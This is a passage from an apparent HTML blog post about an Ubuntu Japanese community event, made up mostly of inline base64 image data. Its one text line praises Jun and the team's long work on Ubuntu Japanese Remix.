y5wffZ9Rt05FYwJ3Zq4Xt/K+LE52eEUbzWYxTtPuVBSy1D9hAkqDvLCedkQe9dhPi7HkgsaRckAgG2uwDm2L0HcL4PKSTE8VcyO0Er2xOY27GtFPGyItblsWtdIXmwI1a5dTifgBoi0mHfI5Bqy8hczMNRmzBzst7A2N7LFWFMZTya34h81O3KRPmnfLCzJcMa21gHaagC2tnO628yy3+DPDn/ei2/wXuHqJK9oxLwBVD2gNqIhqXOJDzdx1OxuwEuIJ5eLi1//APr7WN8manPS6Qf1RWKqJ4FNUcZh47N4DKJ3kySs62kdwK11T9jyw+RU/Kb9TvoXuc3gVxBg0MMnMyQg/wC8ZGP0lhP8HuIs207z5ro3fNeVjclvejnHy8FqfsdKkeRNE7rcP1fpWpq/ANXt2NY/zXt7iQvomTA61vlU1R07089wKw5qmZnlxyN85jx3gLNpafNFZ4Jq9m2meegZvmkrUVG46qZ5VPKOljvqX1Kd0H76oO3RpaSz5MkwmUbY5B0sd9S7nwJYeH1MkmhEbC3oLjY35LWtxar3Sp3Tsa1z3Ws0FxvbY0En1BcF4J8FY3Dn1TmNbLW1k0wdaxAc45rcxyE21HjL86sQj8jp93Ex2Mb1m6wZt0tQ7jaOgKKLrtEOWM2K/EZjtek9lSfDI6LD6FFEjNAbM74RJHKbqjeioorZJRG6CiirQ5PdRRAwcug3F+7t6HfNKKik6LGvV0O7J/AHV3hcXTHhdbe4KKLxw9HpVq9g3NfefQ9ZC+mpUVFjg3HBzWLN1VFFTanoRUVpjX2al5PuLwgRYzOwbBUuf8sNl73L6PoaQuNgP360qi6JjT2eMayvNRtDRe20nQD6T1BavCKs764HidfTlt6+u6iisRnEJPF5Vu3rAKzGXH+COaOukt9K863Vbsaz2JDQ0pyZzHdzXBr3N9jOlmbmJGUcGI6anhDmQUW+XRir+f4h5fg/gvr6uNksEGeN+cNeZYm5nM1eLPkDgeK5ABPHxp6nwN4mwtDqU8M5W+OptvVMbKKL0sy6vDPAnPSQisqXsad9iZHCzhl2d4DnPfoG5eJrQ6/wgut8P+5LDaemZUNpyKqqYDv2/VDnPqDZziGF4gjhijaQ4GNzpC9obveQvMUWIi8X9lfPsNEQMziGtPGdfUL+uyugdHoGmRxvoeCwX5gc3aSOpBRIR9jeA3FJoI4sPrpnxw19G59K6N95HDMWOYHNil3qWMOdJTucA0OeA6RjTIx3y14VfBzNhVZJRyubJZrZYZW6CanluYJctyY3PaDmjdqx4cLuble4qKzpE8eKzll7OSpn2c3mcD6wvaNwG6eShnbMwnLcZ2g2JaTtaRsc3aDygKKLzmc4WHofhp8FcU8PtzSBobIYzWxgBjS+cneqyJpDcoqXAiaEC7ZrvAyyOLei8DGAw4RhkuKTszSTMvE0anec9omBw8l1RKGucT5LRFexEgEUWZ1mPV6xF7S+b91mIVNXUSVMzmullOZ/lBvxWsvfKyNmWNreJrRtNytfh1ZPA9sjQQ5puC1wuCOkju1UUWo1eVT2x9S2sgGIxjLLC1vslo0zxsbpK0nTfIG6jW74uAbuijD/ADHdpuadA5kgOaKfO5jibkOZlMrHA8Lg52ODtczXt1zB4bFFmdetm50c8JOVeweDXcuBCxzzY1OZ9+OOlgkYJXMsTaSeZ0VOwt4TGmV2gLSiopVozDhd0O7qR88kkJ3uLOd7YGtsGjQXDmm2YankvzLO3M4q4Zq+SzzDJeJjxnYah3Cu9nkuY0XJYbNcbDQbCope0HF20DvZ8QqxBA22WKZsUUVOIpXNdvAyRhrZG1EjSwPaczC5ucWBcNFRyQSROma1wY2+bVwLcrcx0zEbOS6Ci1iUQU1Srpq2J/kSSc1jb5zP35VsoI77JZG9LGv4h8diCi56qYh6b0sp9XMywjeZW2vfKIyDyZXPdxW1za8mi6Lc7gFbWAugaxxbZrmueGnNY2A2tNxY7QNdSgovOKYl6XltqrwbYzGMz6E5Ph+yKS1ugVGbn1aNnOuYq8VfESJGZSNou09xKKi34dL0gI90bDxeoq9mMxnl7EFF4zRBDKbVsP7/AOCcFvL6kVF4zFmzCEcvqQdSoqKMk9jIGnsgordYQwpDEootQzKb2lLFFFpqAQsgojMiQg5qiisEFATAKKKkCCu18E27NtJVs3weLqLQF1iSwucCx1he4zhrXC18pJGwAhRbpi8pMu+3TbqZAKqpbo+J7KaAG2k9RmjjseLeohJJmOmctsdq9D3HYGKWmipx97aA5w9886yO9J5PUgovTEyiIYo1u3edchufnMk1dP8ADqGUkeuyKijDpOS2aolJtx2QUWKP4elRd2LDK2Gl2GsqoKcniyOkD5+W14WSAct7Ljfsh6V7ZRilObPpiGytvYOpg7gkAnyoXOzADUtc/abAlRWJta3P+WJi/wAOU3bEYlSRVMOk0LTI2+ly0AyR3NuDINmuhyniK6TwabthVUzXEnO0AOvfUEcE9PEefXjQUWZ4x6nL2c14RsW36qipdd7ac0vmMbv0o5y5oYwWG0niW03CXkkmqncZ3qPmaNTYcQ8nTp5UVFqqbU/H6pTm7hlUf3/wWZT4qW7Ce1BRZomecvW0WbvD91krdQ8j9+xdHuT8KlRRVDqyNznSmMRyufwy6EZSWjfLtDg1oym1gQAdLoKL28euMrz1Z3YZnhV8NNZlhDauSSLECJLAvawwua5/ubgGsLrAFobYE8gWbub+yKraCjcY5vExMkc1jmNeARclrczSQC/bY8ZKCi6atortEZWvpaLPGmIl2e53w01VFvbgI3vniZLOHNJDpJCZdCCCLOkdsIB6gu4oPsqJC0ufTMIbtLXOba2W+hLvhDt47FRRe2Hib9X1RE3mZ09Z5LuRObdUX2UkDrZqZ447h9/UWBbuk+yMoXbWTt9Bp/WCii+pGzYdXD9Z/mZYmiG6pPDVQP8Avjx0xP8AoDluqPd9SSeRLf8A1cg72BMos17JREXi/wAx9nnNMQzKPdFDJI6Jj7yNaHObleLNJte5aAdeIG62SCi+biURTNo5Q8qslc1Ex3lMa7zmg94Wun3HUjvKpac35YY/7Kii8ZW7z/wweDKhOHVhZTsjfvDsr4hkc0u4NxYhuwnaDp1LT4H4B2voqKMzGIQwMaGNYH3cWjO8nO3Vx4gOLabqKLe5G7f1/h6RVMU39Yf/2Q==" width="320" /><br />
<br />
<br />
5) Retrospective by Jun. Ubuntu Japanese Team create "Ubuntu Japanese Remix" for a long time (about 8years), He is great leader. <br />
<br />
<img alt="" height="239" src="data:;base64,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